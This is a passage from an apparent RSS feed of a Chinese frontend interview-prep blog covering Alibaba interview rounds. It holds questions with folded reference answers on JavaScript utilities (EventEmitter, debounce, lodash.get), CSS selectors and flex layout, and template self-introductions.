&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;typeA&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;typeB&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;typeA&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;typeB&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;typeA&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;number&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;typeA&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;number&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;localeCompare&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id="question-subjective-11d6fb8e8fe1"&gt;2. 发布订阅模式：实现一个简单的EventEmitter类，包含on, emit, off方法。&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;JavaScript设计模式。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;EventEmitter&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;on&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;emit&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;, ...&lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;forEach&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;(...&lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;off&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;filter&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id="question-subjective-33ea8704520e"&gt;3. lodash.get实现：实现一个类似lodash.get的函数，安全地获取嵌套对象属性。&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;JavaScript对象操作。&lt;/p&gt;</description></item><item><title>阿里-蚂蚁金服-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/round-43/</link><pubDate>Fri, 27 Jun 2025 06:05:39 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/round-43/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/round-42/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 15 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-12b75c445924"&gt;1. 自我介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;自我认知。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;您好！我是一名对前端开发充满热情的工程师，拥有[X]年的开发经验。我熟练掌握HTML、CSS和JavaScript等前端技术，并在多个项目中运用Vue、React等框架构建用户友好的应用。在大学期间，我主修计算机科学，这为我打下了坚实的编程基础。通过参与各类项目，我不仅提升了技术能力，还培养了良好的团队协作和问题解决能力。我热爱学习新技术，经常阅读技术博客并参与开源项目。在之前的实习和工作中，我积累了丰富的实战经验，能够独立完成项目开发并优化性能。我期待能在贵公司继续我的前端开发之旅，为团队贡献我的技能和热情。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-48248947c671"&gt;2. 什么时候开始接触前端？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;学习经历。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我是在大学二年级的时候开始接触前端开发的。当时，我选修了一门网页设计与开发的课程，这让我对前端开发产生了浓厚的兴趣。从那时起，我便开始系统地学习HTML、CSS和JavaScript等前端技术，并通过大量的实践项目不断提升自己的技能。毕业后，我继续深入学习前端框架和工具，如Vue、React等，并在实际工作中不断积累经验。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a3197363b10d"&gt;3. 复杂度比较高的项目有哪些&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;项目经验。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我参与过一个大型电商平台的前端开发，该项目的复杂度较高，主要体现在以下几个方面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 技术栈丰富：项目中使用了Vue.js、Vuex、Vue Router、Vite、TypeScript等技术，结合了 Vuex 进行状态管理，Vue Router 实现了复杂的路由管理，Vite 作为构建工具提高了开发效率。
2. 性能要求高：由于平台需要支持大量的商品列表和用户并发访问，对性能的要求极高。我们通过代码分割、懒加载、图片优化等手段确保了页面的快速加载和流畅交互。
3. 功能模块复杂：涉及商品展示、购物车、订单管理、用户中心等多个功能模块，各模块之间需要紧密协作和数据共享。
4. 跨团队协作：前端团队与后端团队、设计团队紧密合作，确保项目的顺利交付。
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-cda84e15acb0"&gt;4. 实习中的全栈部分做了什么&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;全栈开发能力。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在实习期间，我参与了多个全栈开发项目，主要负责以下工作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 后端接口开发：使用Node.js和Express框架开发RESTful API接口，与前端进行数据交互。我设计并实现了用户认证、商品管理、订单处理等功能的API。
2. 数据库设计与操作：负责MySQL数据库的设计和优化，包括表结构设计、索引优化和查询性能提升。编写SQL语句进行数据的增删改查操作。
3. 前端与后端的联调：确保前后端数据格式的一致性和接口的稳定性，处理可能出现的跨域问题和数据验证问题。
4. 部署与运维：参与项目的部署工作，使用Docker容器化应用，并通过Nginx进行反向代理配置。监控应用的运行状态，及时处理线上问题。
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-fba89be7c9b5"&gt;5. Vue 和 React 都是什么时候开始接触的&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;技术学习历程。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我是在大学期间开始接触Vue和React的。具体来说：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Vue：在大三时，我通过一个个人项目开始学习Vue。当时，我被Vue简洁的语法和强大的组件化特性所吸引，于是深入研究了Vue的文档，并通过实践项目掌握了Vue的基本使用方法，包括组件的创建、数据绑定、事件处理等。
2. React：在大四时，我为了扩展自己的技术栈，开始学习React。我通过官方文档和在线教程了解了React的组件化思想、JSX语法以及Hooks的使用。通过一个小型的社交媒体项目，我实践了React的单向数据流和状态管理。
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-4d44d004b9ad"&gt;6. 对原生 JS 如何学习的，掌握程度怎么样&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;JavaScript能力。&lt;/p&gt;</description></item><item><title>阿里-阿里妈妈-实习 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/round-40/</link><pubDate>Fri, 27 Jun 2025 06:04:12 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/round-40/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/round-41/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 13 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-9ff563bd8749"&gt;1. 实现第一个元素不移动后续元素与左边相隔8px（:not(:first-child）&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS选择器与布局。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;要实现第一个元素不移动，后续元素与左边相隔8px，可以使用CSS中的&lt;code&gt;:not(:first-child)&lt;/code&gt;选择器来选择除第一个元素外的所有同级元素，并为其设置左边距。这在布局中非常有用，可以避免对第一个元素应用不必要的样式。以下是一个示例：&lt;br&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;item&amp;#34;&lt;/span&gt;&amp;gt;Item 1&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;item&amp;#34;&lt;/span&gt;&amp;gt;Item 2&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;item&amp;#34;&lt;/span&gt;&amp;gt;Item 3&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;item&amp;#34;&lt;/span&gt;&amp;gt;Item 4&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;item&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;not&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;first-child&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin-left&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在这个示例中，&lt;code&gt;.item:not(:first-child)&lt;/code&gt;选择器匹配了所有带有&lt;code&gt;item&lt;/code&gt;类的元素，除了第一个元素。然后，我们通过&lt;code&gt;margin-left: 8px&lt;/code&gt;为这些元素设置了左边距，使它们与左边的元素相隔8px。第一个元素不会受到影响，因此不会产生左边距，从而实现了题目要求的布局效果。这种技术在创建水平排列的元素时非常有用，例如导航栏或标签页，可以确保第一个元素与容器的边缘对齐，而后续元素之间保持一致的间距。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-c77b5c6f-9fcc-40a6-bbf0-9f412d6ce94c"&gt;2. 写一个防抖&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/c77b5c6f-9fcc-40a6-bbf0-9f412d6ce94c"&gt;实现 debounce（防抖）函数&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;触发高频时间后n秒内函数只会执行一次,如果n秒内高频时间再次触发,则重新计算时间。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;触发高频时间后n秒内函数只会执行一次,如果n秒内高频时间再次触发,则重新计算时间。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;debounce&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;time&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;clearTimeout&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;apply&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;arguments&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#a6e22e"&gt;time&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;防抖常应用于用户进行搜索输入节约请求资源，window触发resize事件时进行防抖只触发一次。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-0b51a6d42592"&gt;3. 讲讲你的项目难点&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;项目经验与问题解决能力。&lt;/p&gt;</description></item><item><title>阿里-阿里妈妈-实习 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/round-41/</link><pubDate>Fri, 27 Jun 2025 06:04:12 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/round-41/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/round-40/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-33/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 9 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-1398dd08a3be"&gt;1. Flex布局中flex-grow与flex-shrink的计算规则？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS布局。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在Flex布局中，&lt;code&gt;flex-grow&lt;/code&gt;和&lt;code&gt;flex-shrink&lt;/code&gt;属性用于控制子元素在可用空间内的扩展和收缩行为。它们的计算规则如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;flex-grow&lt;/code&gt;：
&lt;ol&gt;
&lt;li&gt;定义：定义项目的扩展比例，即项目在主轴方向上可占有的额外空间的比例。&lt;/li&gt;
&lt;li&gt;计算规则：剩余空间按项目&lt;code&gt;flex-grow&lt;/code&gt;值的比例分配。如果所有项目的&lt;code&gt;flex-grow&lt;/code&gt;值之和大于1，则按比例分配；如果小于1，则先分配剩余空间。&lt;/li&gt;
&lt;li&gt;示例：如果有两个子元素，&lt;code&gt;flex-grow&lt;/code&gt;分别为1和2，总剩余空间为300px，则第一个子元素获得100px，第二个获得200px。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex-shrink&lt;/code&gt;：
&lt;ol&gt;
&lt;li&gt;定义：定义项目的收缩比例，即项目在主轴方向上需要收缩时的比例。&lt;/li&gt;
&lt;li&gt;计算规则：当总项目大小超过容器可用空间时，项目按&lt;code&gt;flex-shrink&lt;/code&gt;值的比例收缩。收缩的最小尺寸受&lt;code&gt;min-width&lt;/code&gt;或&lt;code&gt;min-height&lt;/code&gt;限制。&lt;/li&gt;
&lt;li&gt;示例：如果有两个子元素，&lt;code&gt;flex-shrink&lt;/code&gt;分别为1和2，总超出行空间为100px，则第一个子元素收缩约33.33px，第二个收缩约66.66px。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;完整计算步骤：
&lt;ol&gt;
&lt;li&gt;计算总可用空间：容器主轴长度减去所有项目初始尺寸（&lt;code&gt;flex-basis&lt;/code&gt;或未设置时的内容尺寸）。&lt;/li&gt;
&lt;li&gt;判断剩余空间：
&lt;ol&gt;
&lt;li&gt;若剩余空间为正，按&lt;code&gt;flex-grow&lt;/code&gt;分配扩展空间。&lt;/li&gt;
&lt;li&gt;若剩余空间为负，按&lt;code&gt;flex-shrink&lt;/code&gt;分配收缩空间。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
